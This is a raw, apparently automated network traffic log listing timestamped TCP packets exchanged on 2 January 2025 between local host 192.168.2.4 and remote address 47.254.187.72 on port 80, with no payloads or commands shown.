Jan 2, 2025 20:34:51.341276884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.341279030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341289997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.341289997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341314077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.341339111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.341370106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341381073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341392040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341402054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341408968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.341413975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341437101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.341453075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.351347923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.351367950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.351377964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.351389885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.351392031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.351402044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.351413012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.351413012 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.351453066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.351474047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.351497889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.351524115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.351531982 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.354588985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.354599953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.354610920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.354643106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.354660034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.354671001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.354675055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.354681969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.354691982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.354702950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.354739904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.356492996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.356534004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.356535912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.356547117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.356555939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.356578112 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.356580019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.356590986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.356601954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.356609106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.356612921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.356631994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.356653929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.359596014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.359615088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.359626055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.359637022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.359643936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.359659910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.359668016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.359671116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.359683037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.359704018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.359720945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.364736080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364748955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364763975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364780903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364793062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364804029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364804029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.364814997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364820957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.364825010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364841938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364852905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364862919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364864111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.364875078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364877939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.364886045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364891052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364905119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.364907026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364918947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.364943981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.364964008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.365936041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.365947008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.365964890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.365976095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.365986109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.365987062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.365998030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.366009951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.366022110 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.366043091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.367170095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.367197037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.367206097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.367223978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.367240906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.367257118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.367269993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.367280960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.367290974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.367296934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.367305994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.367332935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.367353916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.419651031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.419667006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.419688940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.419708014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.419708967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.419718027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.419730902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.419737101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.419739962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.419750929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.419763088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.419794083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.419817924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.423810005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.423829079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.423840046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.423851013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.423861027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.423861980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.423871994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.423883915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.423892021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.423937082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.425239086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425283909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.425298929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425308943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425319910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425331116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.425355911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.425364971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425374985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425391912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425394058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.425401926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425412893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425424099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.425451040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.425498009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425507069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425523043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425534010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.425534010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425544024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425551891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.425554991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425565958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.425580978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.425609112 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.426882029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.426925898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.426928997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.426940918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.426956892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.426971912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.427016973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427027941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427038908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427050114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427061081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.427061081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427095890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.427747011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427756071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427772045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427783966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427793980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427794933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.427804947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.427823067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427828074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.427831888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427853107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427865028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.427865028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427875042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.427890062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.427917004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.428080082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428088903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428100109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428121090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428121090 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.428136110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428138018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.428145885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428153992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.428164959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428173065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.428175926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428185940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428196907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428200960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.428206921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428217888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428227901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428236961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.428239107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428248882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428260088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.428271055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.428294897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.438173056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.438193083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.438204050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.438214064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.438222885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.438225985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.438235998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.438247919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.438252926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.438260078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.438301086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.441338062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.441349030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.441365957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.441378117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.441389084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.441390038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.441426992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.441454887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.441466093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.441477060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.441485882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.441488028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.441528082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.443701982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.443728924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.443753004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.443773031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.443789959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.443802118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.443813086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.443824053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.443836927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.443842888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.443876028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.446346045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.446366072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.446376085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.446407080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.446434975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.446436882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.446448088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.446459055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.446484089 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.446486950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.446502924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.446525097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.446530104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.446615934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.451428890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451443911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451463938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451483011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451494932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451499939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.451505899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451519012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451525927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.451530933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451551914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.451570988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.451596975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451608896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451620102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451631069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451642036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.451642036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451659918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451673031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.451678038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.451704979 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.452717066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.452729940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.452742100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.452754021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.452764988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.452764988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.452775002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.452796936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.452800989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.452814102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.452825069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.452837944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.452863932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.453929901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.453972101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.453988075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.453998089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.454008102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.454020023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.454030037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.454065084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.454085112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.454097033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.454108000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.454118967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.454121113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.454137087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.454174995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.506468058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.506485939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.506498098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.506583929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.506607056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.506624937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.506625891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.506637096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.506643057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.506649017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.506660938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.506665945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.507742882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.507742882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.510793924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.510811090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.510823965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.510833979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.510845900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.510862112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.510864019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.510878086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.510900021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.510915041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.512217045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512234926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512247086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512258053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512269020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512279987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512288094 CET	49730	80	192.168.2.4	47.254.187.72
